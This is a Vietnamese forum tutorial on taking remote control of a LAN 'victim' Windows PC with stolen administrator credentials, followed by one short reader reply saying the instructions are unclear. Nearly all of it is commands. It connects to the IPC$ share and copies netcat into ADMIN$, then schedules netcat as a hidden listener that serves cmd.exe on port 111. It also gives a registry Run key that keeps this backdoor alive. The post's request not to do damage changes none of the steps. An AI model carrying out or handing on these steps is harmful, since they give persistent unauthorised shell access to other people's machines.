Đột nhập và điều khiển máy tính từ xa từ mạng lan

Giả sử rằng bạn đã có username,password của admin của máy victim rồi: giờ thiết lập 1 phiên làm viêc:
CODE
C:\> net use \\x.x.x.x\IPC$ “password” /user:”administrator” The command completed successfully.
Sau đó ta cần copy backdoor để điều khiển máy victim có rất nhiều loại backdoor nhưng tôi thấy hơn cả vẫn là : netcat ( nc) chép nc vào máy victim
CODE
C:\>copy nc.exe \\x.x.x.x\ADMIN$\nc.exe The command completed successfully. 1 file copies
Chạy service Schedule trên máy victim ( có service này mới thực thi đ ươc các file trên máy victim, mặc đinh khi cài win sẽ chạy service này)
CODE
C:\> sc \\x.x.x.x start schedule service_name : schedule
Bây giờ kiểm tra giờ trên máy victim
CODE
C:\> net time \\x.x.x.x Current time at \\10.0.0.31 is 6/29/2005 4:50 AM The command completed successfully.
Bây giờ chạy netcat ở chế độ ẩn lắng nghe cổng 111:
CODE
C:\>AT \\x.x.x.x 4:55 /interactive “c:\windows\nc.exe” –L –d –p111 –e cmd.exe Added a new job with job ID = 1
đợi đến 4:55 rồi chạy thử nc.exe
CODE
C:\>nc –nvv x.x.x.x 111 (UNKNOWN) [x.x.x.x] 111 (?) open Microsoft Windows XP [Version 5.1.2600] © Copyright 1985-2001 Microsoft Corp. C:\windows>
Bây giờ làm gì thì tuỳ nha ( nhưng đừng có phá hoại người ta nhe’) Vấn đề là làm sao cho những lần sau victim bật máy tính lên netcat tự động chạy và lắng nghe mệnh lệnh của ta? Bạn có thể cho netcat khởi động cùng windows. "moi" file netcat.reg (dùng notepad và save lại thành .reg) có nội dung như sau:
CODE
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run] "netcat"=""C:\\nc\\nc.exe" -L -d -p111 -e cmd.exe"
Sau đó copy sang máy victim và chạy nha! Hy vọng mọi người đừng phá hoại nhá

anh không rõ lắm em ơi, phải nói rõ là làm việc trong môi trường nào chứ? chỉ dẫn vậy sao bik đây